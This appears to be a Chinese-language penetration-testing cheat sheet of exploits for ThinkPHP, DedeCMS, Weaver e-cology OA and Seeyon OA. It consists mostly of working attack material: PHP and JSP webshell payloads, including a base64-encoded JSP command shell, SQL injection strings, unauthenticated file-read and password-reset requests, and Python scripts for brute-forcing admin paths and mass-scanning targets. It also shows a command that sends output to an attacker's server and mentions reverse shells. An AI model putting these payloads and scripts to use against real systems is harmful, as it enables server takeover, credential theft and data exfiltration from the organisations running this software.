POST /?s=captcha
_method=__construct&method=get&filter[]=think\__include_file&get[]=tmp\sess_kking&server[]=1
通过日志包含getshell
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../data/runtime/log/201901/21.log&x=phpinfo();
&
POST /?s=captcha
Cookie: PHPSESSID=kking
_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoJF9HRVRbJ3InXSk7Oz8%2bab&server[]=1
+号用urlencode编码为%2b,前后加ab为了凑足解码
/?s=captcha&r=phpinfo();
_method=__construct&method=get&filter[]=think\__include_file&get[]=php://filter/read=convert.base64-decode/resource=c:\www\tmp\sess_kking&server[]=1
&
POST /?s=captcha&r=phpinfo();
Cookie: PHPSESSID=kking
_method=__construct&method=get&filter[]=base64_decode&filter[]=think\__include_file&get[]=cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWM6XHd3d1x0bXBcc2Vzc19ra2luZw==&server[]=1
&
设置session
POST /?s=captcha
Cookie: PHPSESSID=kktest

_method=__construct&filter[]=think\Session::set&method=get&get[]=abPD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX0dFVFsnciddKSk7Oz8%2bab&server[]=1
文件包含
POST /?s=captcha&r=cGhwaW5mbygpOw==

_method=__construct&filter[]=strrev&filter[]=think\__include_file&method=get&server[]=1&get[]=tsetkk_sses/pmt/=ecruoser/edoced-46esab.trevnoc=daer/retlif//:php
Thinkphp6 任意文件创建
需可控session参数,如username
/index.php?username=<?php phpinfo();?>
Cookie:1234567890123456789012345670.php
Cookie需32位
在runtime\session下生成
sess_1234567890123456789012345670.php文件

无回显情况下

找台dnslog
&server[REQUEST_METHOD]=curl xxx.dnslog.io
或用自己的vps
curl http://YOURIP/`command`
可以反弹shell或find网站文件,wget下载shell进去

3.2.x RCE

关闭debug
GET /index.php?m=--><?=phpinfo();?> HTTP/1.1
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_06_30.log
开启debug
GET /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?> HTTP/1.1
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_06_30.log
寻找上传点直接传
http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./test.txt
thinkphp 3.2.3 注入
where注入
利用字符串方式作为where传参时存在注入
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注入
这里使用全局数组进行传参(不要用I方法),漏洞才能生效
public function  getuser(){
    $User = D('User');
    $map = array('id' => $_GET['id']);
    $user = $User->where($map)->find();
    dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
bind注入
public function  getuser(){
    $data['id'] = I('id');
    $uname['username'] = I('username');
    $user = M('User')->where($data)->save($uname);
    dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注入
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
order=id and(updatexml(1,concat(0x7e,(select user())),0))

thinkphp利用工具

https://github.com/Lotus6/ThinkphpGUI
https://github.com/zangcc/Aazhen-v3.1
https://github.com/Lucifer1993/TPscan
https://github.com/Lotus6/ThinkLog

Dedecms

爆破后台

windows服务器
tags.php
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://www.test.com/tags.php"
data = {
    "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
    "_FILES[mochazz][name]" : 0,
    "_FILES[mochazz][size]" : 0,
    "_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
    if flag:
        break
    for pre in itertools.permutations(characters,num):
        pre = ''.join(list(pre))
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
        print("testing",pre)
        r = requests.post(url,data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            flag = 1
            back_dir = pre
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
    if flag:
        break
    for ch in characters:
        if ch == characters[-1]:
            flag = 1
            break
        data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
        r = requests.post(url, data=data)
        if "Upload filetype not allow !" not in r.text and r.status_code == 200:
            back_dir += ch
            print("[+] ",back_dir)
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
            break
        else:
            data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)
rss.php
import requests
import sys
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789_-'
menu = ''
for k in range(10):
    for payload in payloads:
        data = "dopost=save&_FILES[b4dboy][tmp_name]=../%s%s</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"% (menu, payload)
        res = requests.post("http://www.yx-tv.com/plus/rss.php", data=data, headers={"Content-Type":"application/x-www-form-urlencoded"})
        if res.content.decode("utf-8").find("Error") > -1:
            menu += payload
            break
        if payload == '-':
            print(menu)
            sys.exit()
print(menu)

dedecms前台重置任意管理员密码

https://xz.aliyun.com/t/1959

伪造cookie登录任意前台用户

注册用户user1
访问
/member/index.php?uid=user1
登录user1
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5修改后的cookie

前台上传shell

Admin登录,发表文章,修改文件名1.jpg.p*hp
后台文件上传
访问/dede/tpl.php?action=upload
F12获取token
访问
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=%3C?php%20phpinfo();?%3E&token=[token值]
/dede/tpl.php?filename=moonsec.lib.php&action=savetagfile&content=<?php phpinfo();?>&token=6d0c1893e01a77e7e6ba24fb2dc7599c
Shell位置/include/taglib/moonsec.lib.php

后台getshell

模块->广告管理->新建广告,在广告内容中添加一句话
/plus/ad_js.php?aid=[x]

泛微(Weaver-Ecology-OA)

泛微OA E-cology RCE(CNVD-2019-32204)

url+/weaver/bsh.servlet.BshServlet/
script中执行exec("whoami")
unicode绕过
\u0065\u0078\u0065\u0063("whoami")
字符串拼接绕过
bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

泛微OA WorkflowCenterTreeData接口注入(Oracle数据库)

	POST /mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333 HTTP/1.1
	Host: ip:port
	Cache-Control: max-age=0
	Upgrade-Insecure-Requests: 1
	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
	Accept-Encoding: gzip, deflate
	Accept-Language: zh-CN,zh;q=0.9
	Cookie: ecology_JSessionId=abc49y8JvMcoqhSkCv02w; testBanCookie=test
	Connection: close
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 2236
	Upgrade-Insecure-Requests: 1

	formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1
修改NULL后为要查询的分区名,修改为后为查询的表
验证脚本
import requests
import sys

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Content-Type': 'application/x-www-form-urlencoded'
}

def exploit(url):
    target=url+'/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333'
    payload="formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,value from v$parameter order by (((1"
    res=requests.post(url=target,data=payload,headers=headers,timeout=10)
    res.encoding=res.apparent_encoding
    print(res.text)

if __name__ == '__main__':
    url=sys.argv[1]
    exploit(url)

泛微ecology OA数据库配置信息泄露

/mobile/DBconfigReader.jsp存在未授权访问即可
import base64
import requests
import ast
 
def req(url):
    headers =  {
        'Content-Type':'application/x-www-form-urlencoded',
        'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    }
 
    r1 = requests.get(url,headers=headers).content
    s = r1.replace('\r\n','')
    res1 = base64.b64encode(s)
     
    postdata = {
        'data':res1,
        'type':'des',
        'arg':'m=ecb_pad=zero_p=1z2x3c4v_o=0_s=gb2312_t=1'
    }
    u = 'http://tool.chacuo.net/cryptdes'
    r2 = requests.post(u,data=postdata,headers=headers).content
    res2 = ast.literal_eval(r2)
     
    return res2['data']
 
url = 'http://x.x.x.x:8888//mobile/DBconfigReader.jsp'
print req(url)

泛微OA云桥未授权任意文件读取

/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt     WINDOWS
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt,在返回包有id字符串 LINUX
通过查看文件接口访问 /file/fileNoLogin/id
url中用downloadUrl可以列目录
/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/&fileExt=txt
/file/fileNoLogin/id

泛微OA系统 SQL注入漏洞

参考乌云镜像

泛微 OA sysinterface/codeEdit.jsp 页面任意文件上传

无需登录上传文件。
http://localhost:8088/sysinterface/codeEdit.jsp?filename=******5308.java&filetype=java
filename为文件名称 为空时会自动创建。
String fileid = "Ewv";
    String readonly = "";
    boolean isCreate = false;
    if(StringHelper.isEmpty(fileName)) {
        Date ndate = new Date();
        SimpleDateFormat sf = new SimpleDateFormat("yyyyMMddHHmmss");
        String datetime = sf.format(ndate);
        fileid = fileid + datetime;
        fileName= fileid + "." + filetype;
        isCreate = true;
    } else {
        int pointIndex = fileName.indexOf(".");
        if(pointIndex > -1) {
            fileid = fileName.substring(0,pointIndex);
        }
    }
当filename文件存在时直接打开,不存在时会创建一个,点击提交会保存,当然也可以直接写入jsp文件,访问如下链接
http://localhost:8088/sysinterface/codeEdit.jsp?filename=ccccc.jsp&filetype=jsp
将内容替换为jsp马提交即可
shell地址:http://localhost:8088/sysinterface/extpage/ccccc.jsp

致远(Seeyon)

致远 OA A8 htmlofficeservlet getshell 漏洞

访问/seeyon/htmlofficeservlet,如果出现DBSTEP V3.0 0  htmoffice operate err这种字符说明存在漏洞
把以下解码为post内容
REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U=
POST //seeyon/htmlofficeservlet
shell
/seeyon/test123456.jsp,密码为:asasd3344
利用脚本来自https://github.com/nian-hua/CVEScript/blob/master/%E8%87%B4%E8%BF%9COA/zhiyuan.py

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="
    payload = base64.b64decode(payload)
    try:
        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)
        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')
        if "wangming" in r.text:
            return url
        else:
            return 0
    except:
        return 0
def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))
    control_char_re = re.compile('[%s]' % re.escape(control_chars))
    s = control_char_re.sub('', s)
    if 'http' not in s:
        s = 'http://' + s
    return s
def savePeopleInformation(url, queue):
    newurl = send_payload(url)
    if newurl != 0:
        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()
    queue.put(url)
def main():
    pool = Pool(10)
    queue = Manager().Queue()
    fr = open('url.txt', 'r')
    lines = fr.readlines()
    for i in lines:
        url = remove_control_chars(i)
        pool.apply_async(savePeopleInformation, args=(url, queue,))
    allnum = len(lines)
    num = 0
    while True:
        print queue.get()
        num += 1
        if num >= allnum:
            fr.close()
            break
if "__main__" == __name__:
    main()

致远OA Session泄漏漏洞

get请求http://x.x.x.x/yyoa/ext/https/getSessionList.jsp?cmd=getAll
回显
weiph 9EA4F8832FA1C9BA99E3D13E2F01CAF7zhaozy F9244E7F1B8C39BB8919FAE8E19ED16A

致远OA A6 search_result.jsp sql注入漏洞

http://x.x.x.x/yyoa/oaSearch/search_result.jsp?docType=协同信息&docTitle=1'and/**/1=2/**/ union/**/all/**/select/**/user(),2,3,4,5%23&goal=1&perId=0&startTime=&endTime=&keyword=&searchArea=notAr

致远OA A6 setextno.jsp sql注入漏洞

http://x.x.x.x/yyoa/ext/trafaxserver/ExtnoManage/setextno.jsp?user_ids=(17) union all select 1,2,@@version,user()%23

致远OA A6 test.jsp sql注入漏洞

查询数据库名
http://x.x.x.x/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20database())

致远OA A6 敏感信息泄露

/createMysql.jsp
/ext/createMysql.jsp
http://x.x.x.x/yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=

致远OA A6 重置数据库账号密码漏洞

http://x.x.x.x/yyoa/ext/byoa/start.jsp

致远OA A8 未授权访问

/seeyon/ctp/sysmgr/monitor/cacheDump.do
http://x.x.x.x/seeyon/management/status.jsp
http://x.x.x.x/seeyon/main.do?method=officeDown&filename=c:/boot.in

致远OA A8 任意用户密码修改

/services/authorityService?wsdl
通过调试接口的默认用户 userName:service-admin password:123456 获取万能Token之后可以修改任意用户密码。
修改密码setPasswordByLoginName

致远OA A8-m 后台万能密码

http://x.x.x.x/seeyon/management/status.jsp
WLCCYBD@SEEYON

致远OA A8-m 存在sql语句页面回显功能

http://x.x.x.x/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@datadi

致远OA A8-v5 任意用户密码修改

POST如下数据
POST /seeyon/individualManager.do?method=modifyIndividual HTTP/1.0
Accept: text/html, application/xhtml+xml, */*
Referer: http://www.0-sec.org/seeyon/individualManager.do?method=managerFrame
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 86
DNT: 1
Host: www.0-sec.org
Cookie: JSESSIONID=DA71A65B3AAD45823A1FADAB80A3E685; Hm_lvt_49c0fa7f96aa0a5fb95c62909d5190a6=1419221849,1419232608; avatarImageUrl=8469117046183055270; loginPageURL="/main.do"



individualName=admin&formerpassword=123456&nowpassword=wy123456&validatepass=wy123456
individualName为用户名
注意,此处需要以一个合法的JSESSIONID发送如上数据即可修改任意用户密码,合法的JSESSIONID由撞库得出。
本次证明演示中修改的用户为admin,修改

致远OA A8-v5 无视验证码撞库

GET /seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P_1_String=admin&P_2_String=wy123456 HTTP/1.0
Accept: */*
